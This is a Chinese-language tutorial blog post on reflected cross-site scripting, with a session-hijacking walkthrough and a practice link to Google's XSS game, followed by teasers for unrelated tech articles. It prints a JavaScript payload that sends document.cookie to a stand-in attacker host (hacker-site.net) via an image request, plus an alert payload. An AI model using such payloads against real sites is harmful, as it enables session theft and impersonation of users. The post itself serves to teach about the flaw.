Web7:XSS 漏洞利用 – 第 1 部分:反射 XSS

Web7:XSS 漏洞利用 – 第 1 部分:反射 XSS

什麼是跨站腳本?

跨站腳本(XSS)是當今最受歡迎的攻擊技術之一,被譽為攻擊教父,多年來一直被列為應用程式最危險的攻擊技術。

不要簡稱為 CSS,以免與 HTML 的級聯樣式表概念混淆。XSS
技術
是基於將危險腳本插入到 Web 應用程式原始碼中。執行惡意 Javascript 程式碼來接管使用者的登入會話。

為了更好地理解,讓我們考慮以下範例。一個 Web 應用程序,允許列印我們透過 URL 傳入的值,假設我們傳入 name 變數 Ping 值:

Web7:XSS 漏洞利用 – 第 1 部分:反射 XSS

到目前為止一切都很好,讓我們回顧一下html原始碼:

Web7:XSS 漏洞利用 – 第 1 部分:反射 XSS

容易看到的是,我們輸入的name值已經被插入到原始碼中了。因此,導入的任何內容都有可能被插入。如果輸入的值不是像上面那樣的普通字串,而是一段潛在危險的程式碼,問題就會變得嚴重,如下所示:

 

使用上面的值重試:

Web7:XSS 漏洞利用 – 第 1 部分:反射 XSS

從這個例子我們可以得出兩件事。首先,name變數可以接收任何輸入值並將其傳輸到伺服器進行處理。其次,伺服器在將這個輸入值傳回瀏覽器之前並沒有對其進行控制。這導致 javascript 程式碼被插入到原始程式碼中。

XSS 一般分為 3 種主要類型:反射型、儲存型、基於 DOM 型。在這篇文章中我將主要提到Reflected XSS技術。

高達 75% 的 XSS 技術都是基於反射型 XSS。之所以稱為反射,是因為在這種類型的漏洞利用場景中,駭客必須向受害者發送包含惡意程式碼(通常是 javascript)的 URL。受害者只需請求此 URL,駭客就會立即收到包含所需結果的回應(此處顯示的自反性)。另外,也稱為一階XSS。

現實採礦場景

利用反射型 XSS 錯誤的方法有很多,其中最廣為人知的方法之一就是接管使用者的會話,從而存取資料並獲得他們在網站上的權利。

詳細描述如下:

Web7:XSS 漏洞利用 – 第 1 部分:反射 XSS

1. 使用者登入網路並假設已指派會話:

Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4

2. 駭客以某種方式向使用者發送 URL:

http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;

假設 example.com 是受害者造訪的網站,hacker-site.net 是駭客創建的網站

3. 受害者訪問上述URL

4. 伺服器回應受害者以及請求中包含的資料(駭客的 javascript 片段)

5. 受害者瀏覽器收到回應並執行javascript

6. 駭客創建的實際javascript如下:

var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;

上面的命令列本質上是向駭客的網站發出請求,參數是使用者 cookie:

GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net

7. 駭客將從您的網站捕獲上述請求內容並認為使用者的會話被接管。此時,駭客就可以冒充受害者,並在受害者所擁有的網站上行使所有權利。

實踐

Google 在此處創建了一個練習利用 XSS 錯誤的頁面:https ://xss-game.appspot.com

這些挑戰的目標是您必須注入腳本來彈出彈出視窗。第一個挑戰是說明反射技術,利用程式碼非常簡單:

https://xss-game.appspot.com/level1/frame?query=alert('pwned')

祝你好運!


Windows + V:許多 Windows 使用者不知道的有用捷徑

Windows + V:許多 Windows 使用者不知道的有用捷徑

與許多其他平台一樣,Windows 也有一個專門的剪貼簿管理器,稱為「剪貼簿歷史記錄」。

如何在 Windows 10 上安裝 macOS Big Sur/iOS 14 小工具

如何在 Windows 10 上安裝 macOS Big Sur/iOS 14 小工具

macOS Big Sur 版本在最近的 WWDC 大會上正式公佈。並且您可以使用 Rainmeter 工具將 macOS Big Sur 的介面完全帶到 Windows 10 上。

如何保護遠端桌面免受 RDStealer 惡意軟體的侵害

如何保護遠端桌面免受 RDStealer 惡意軟體的侵害

RDStealer 是一種惡意軟體,它試圖透過感染 RDP 伺服器並監控其遠端連線來竊取憑證和資料。

7 個 Windows 最佳檔案管理軟體,可取代檔案總管

7 個 Windows 最佳檔案管理軟體,可取代檔案總管

也許是時候告別文件資源管理器並使用第三方文件管理軟體了?以下是 7 個最佳 Windows 檔案總管替代品。

LoRaWAN 是如何運作的?為什麼它對物聯網很重要?

LoRaWAN 是如何運作的?為什麼它對物聯網很重要?

LoRaWAN 或遠端無線區域網路對於低功耗設備之間的長距離通訊非常有用。

在 Windows 10 上開啟進階啟動選項的 8 種方法

在 Windows 10 上開啟進階啟動選項的 8 種方法

透過導覽至進階啟動選項,您可以重設 Windows 10、還原 Windows 10、從先前建立的映像檔還原 Windows 10、修復啟動錯誤、開啟命令提示字元以執行選項選擇不同、開啟 UEFI 設定、變更啟動設定。 ..

為什麼在使用社群網路帳號登入之前應該仔細考慮?

為什麼在使用社群網路帳號登入之前應該仔細考慮?

每次註冊新服務時,您都可以選擇使用者名稱和密碼,或直接使用 Facebook 或 Twitter 登入。但你應該這樣做嗎?

更改 Google DNS 8.8.8.8 和 8.8.4.4 的說明

更改 Google DNS 8.8.8.8 和 8.8.4.4 的說明

DNS Google 8.8.8.8 8.8.4.4是許多使用者選擇使用的DNS之一,特別是為了加速網路存取或存取被封鎖的Facebook。

如何在 Windows 10 上始終以 InPrivate 模式啟動 Microsoft Edge

如何在 Windows 10 上始終以 InPrivate 模式啟動 Microsoft Edge

如果你在共用的 Windows 10 電腦上使用 Microsoft Edge 並且希望將瀏覽記錄保密,則可以讓 Edge 始終以 InPrivate 模式啟動。

探討對稱加密和非對稱加密的差異

探討對稱加密和非對稱加密的差異

目前普遍部署的加密有兩種類型:對稱加密和非對稱加密。這兩種類型的加密之間的基本區別在於,對稱加密使用單一金鑰進行加密和解密操作。